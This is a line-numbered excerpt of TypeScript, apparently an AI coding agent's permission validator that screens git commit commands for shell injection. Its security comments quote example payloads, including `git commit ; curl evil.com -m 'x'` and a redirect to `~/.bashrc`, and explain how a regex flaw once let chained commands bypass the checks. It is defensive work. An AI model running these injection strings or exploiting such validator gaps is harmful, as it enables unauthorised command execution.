(context: ValidationContext)
| 610 | } |
| 611 | |
| 612 | function validateGitCommit(context: ValidationContext): PermissionResult { |
| 613 | const { originalCommand, baseCommand } = context |
| 614 | |
| 615 | if (baseCommand !== 'git' || !/^git\s+commit\s+/.test(originalCommand)) { |
| 616 | return { behavior: 'passthrough', message: 'Not a git commit' } |
| 617 | } |
| 618 | |
| 619 | // SECURITY: Backslashes can cause our regex to mis-identify quote boundaries |
| 620 | // (e.g., `git commit -m "test\"msg" && evil`). Legitimate commit messages |
| 621 | // virtually never contain backslashes, so bail to the full validator chain. |
| 622 | if (originalCommand.includes('\\')) { |
| 623 | return { |
| 624 | behavior: 'passthrough', |
| 625 | message: 'Git commit contains backslash, needs full validation', |
| 626 | } |
| 627 | } |
| 628 | |
| 629 | // SECURITY: The `.*?` before `-m` must NOT match shell operators. Previously |
| 630 | // `.*?` matched anything except `\n`, including `;`, `&`, `|`, `` ` ``, `$(`. |
| 631 | // For `git commit ; curl evil.com -m 'x'`, `.*?` swallowed `; curl evil.com ` |
| 632 | // leaving remainder=`` (falsy → remainder check skipped) → returned `allow` |
| 633 | // for a compound command. Early-allow skips ALL main validators (line ~1908), |
| 634 | // nullifying validateQuotedNewline, validateBackslashEscapedOperators, etc. |
| 635 | // While splitCommand currently catches this downstream, early-allow is a |
| 636 | // POSITIVE ASSERTION that the FULL command is safe — which it is NOT. |
| 637 | // |
| 638 | // Also: `\s+` between `git` and `commit` must NOT match `\n`/`\r` (command |
| 639 | // separators in bash). Use `[ \t]+` for horizontal-only whitespace. |
| 640 | // |
| 641 | // The `[^;&|`$<>()\n\r]*?` class excludes shell metacharacters. We also |
| 642 | // exclude `<` and `>` here (redirects) — they're allowed in the REMAINDER |
| 643 | // for `--author="Name <email>"` but must not appear BEFORE `-m`. |
| 644 | const messageMatch = originalCommand.match( |
| 645 | /^git[ \t]+commit[ \t]+[^;&|`$<>()\n\r]*?-m[ \t]+(["'])([\s\S]*?)\1(.*)$/, |
| 646 | ) |
| 647 | |
| 648 | if (messageMatch) { |
| 649 | const [, quote, messageContent, remainder] = messageMatch |
| 650 | |
| 651 | if (quote === '"' && messageContent && /\$\(|`|\$\{/.test(messageContent)) { |
| 652 | logEvent('tengu_bash_security_check_triggered', { |
| 653 | checkId: BASH_SECURITY_CHECK_IDS.GIT_COMMIT_SUBSTITUTION, |
| 654 | subId: 1, |
| 655 | }) |
| 656 | return { |
| 657 | behavior: 'ask', |
| 658 | message: 'Git commit message contains command substitution patterns', |
| 659 | } |
| 660 | } |
| 661 | |
| 662 | // SECURITY: Check remainder for shell operators that could chain commands |
| 663 | // or redirect output. The `.*` before `-m` in the regex can swallow flags |
| 664 | // like `--amend`, leaving `&& evil` or `> ~/.bashrc` in the remainder. |
| 665 | // Previously we only checked for $() / `` / ${} here, missing operators |
| 666 | // like ; | & && || < >. |
| 667 | // |
| 668 | // `<` and `>` can legitimately appear INSIDE quotes in --author values |
| 669 | // like `--author="Name <email>"`. An UNQUOTED `>` is a shell redirect |
nothing calls this directly
no test coverage detected